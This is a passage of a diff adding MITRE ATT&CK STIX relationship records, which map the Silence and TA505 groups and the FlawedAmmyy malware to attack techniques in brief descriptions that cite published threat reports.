"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" + }, + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has used Winexe to install a service on the remote system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.723Z", + "id": "relationship--85be49ac-785e-48af-8d0e-4b74818428fc", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.323Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has used JS, VBS, and PowerShell scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.727Z", + "id": "relationship--378914cd-36cf-409f-8c99-25e144218546", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.277Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cyber Forensicator Silence Jan 2019", + "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", + "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has used scheduled tasks to stage its operation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.730Z", + "id": "relationship--1d7e1954-b020-4578-9a57-b1596a7a25ff", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.368Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cyber Forensicator Silence Jan 2019", + "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", + "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has sent emails with malicious DOCX, CHM and ZIP attachments. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.733Z", + "id": "relationship--da6a811d-2a77-4f6f-a19e-2aff8662f12f", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.373Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cyber Forensicator Silence Jan 2019", + "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", + "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" + }, + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--96fd6cc4-a693-4118-83ec-619e5352d07d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-24T17:57:36.755Z", + "id": "relationship--465385c3-8659-4225-82b3-215dfc66ba83", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "modified": "2019-07-16T16:12:09.370Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList Silence Nov 2017", + "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", + "url": "https://securelist.com/the-silence/83009/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used spearphishing emails with malicious attachments to initially compromise victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T16:25:35.420Z", + "id": "relationship--ce962c48-3390-4286-91bb-b38d7fb4f07a", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + }, + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + }, + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "ProofPoint SettingContent-ms July 2018", + "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat" + }, + { + "source_name": "Proofpoint TA505 Mar 2018", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has leveraged malicious Word documents that abused DDE.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T16:36:50.726Z", + "id": "relationship--f0e944fa-6dba-47c3-920a-cf7bad2d3bc5", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.253Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has sent spearphishing emails containing malicious links.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T16:36:50.742Z", + "id": "relationship--e3f7935d-0f3a-440a-be19-ef9383914441", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.257Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used PowerShell to download and execute malware and reconnaissance scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T16:46:48.396Z", + "id": "relationship--ca484dbf-aa28-4d7e-90bb-b60723ff70b1", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.249Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "ProofPoint SettingContent-ms July 2018", + "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat" + }, + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used PowerShell, VBS, and JavaScript for code execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T16:53:41.745Z", + "id": "relationship--5aaee352-e4b5-4d4c-b021-9f38adb346da", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.345Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used a wide variety of ransomware, such as Locky, Jaff, Bart, Philadelphia, and GlobeImposter, to encrypt victim files and demand a ransom payment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T18:49:59.305Z", + "id": "relationship--c99ee3c6-7d62-4514-bdac-4bf899ea0c16", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.343Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used malware to gather credentials from FTP clients and Outlook.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T18:49:59.326Z", + "id": "relationship--580103be-ffce-4677-b24a-7092c1221ed0", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.340Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has password-protected malicious Word documents and used base64 encoded PowerShell commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T18:49:59.330Z", + "id": "relationship--53e89989-29a6-461f-854c-42eb96b221b3", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.446Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used lures to get users to click links in emails and attachments, enable content in malicious attachments, and execute malicious files contained in archives. For example, [TA505](https://attack.mitre.org/groups/G0092) makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T18:49:59.356Z", + "id": "relationship--49d6508c-f350-4376-ba32-f64693d7fd10", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.442Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + }, + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + }, + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "ProofPoint SettingContent-ms July 2018", + "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat" + }, + { + "source_name": "Proofpoint TA505 Mar 2018", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T18:49:59.414Z", + "id": "relationship--239a4ed5-afe6-4d1d-8dfe-ee4df7bc01ba", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.452Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T19:08:05.735Z", + "id": "relationship--1b215137-e9e7-4022-af63-8d932c384eb2", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "modified": "2019-06-24T19:11:41.542Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA505 Mar 2018", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) will attempt to detect if a usable smart card is current inserted into a card reader.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T19:51:24.729Z", + "id": "relationship--97361e60-4c54-48f6-a661-e3bd36b9745e", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "modified": "2019-05-30T17:23:30.532Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) enumerates the current user during the initial infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T19:51:24.751Z", + "id": "relationship--2b8418de-6474-49e2-84f0-01ffe6c07a42", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "modified": "2019-05-30T17:23:30.547Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) beacons out the victim operating system and computer name during the initial infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T19:51:24.755Z", + "id": "relationship--0d95b411-1192-42d0-96b1-98fe18742a04", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "modified": "2019-05-30T17:23:30.579Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) will attempt to detect anti-virus products during the initial infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T19:51:24.768Z", + "id": "relationship--7da97f5c-fd61-4181-9775-47abbd5250c0", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "modified": "2019-05-30T17:23:30.636Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used SEAL encryption during the initial C2 handshake.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T19:59:45.865Z", + "id": "relationship--bc4b8f68-3570-474e-8157-225afddda463", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "modified": "2019-05-30T17:23:30.604Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) may obfuscate portions of the initial C2 handshake.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T19:59:45.884Z", + "id": "relationship--efd7f218-0e23-458b-be17-afad9545fa25", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "modified": "2019-05-30T17:23:30.638Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T19:59:45.899Z", + "id": "relationship--9a5d5258-e0c3-4d73-9d5f-122ed3d7d920", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "modified": "2019-05-30T17:23:30.631Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used port 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T19:59:45.905Z", + "id": "relationship--2ac6157e-2fd2-4e67-892a-f6407d6cbd81", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "modified": "2019-05-30T17:23:30.634Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) leverages WMI to enumerate anti-virus on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-28T20:01:03.241Z", + "id": "relationship--38f54e6f-502c-4af5-9867-fa9fb8381662", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "modified": "2019-05-30T17:23:30.640Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used msiexec to download and execute malicious Windows Installer files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 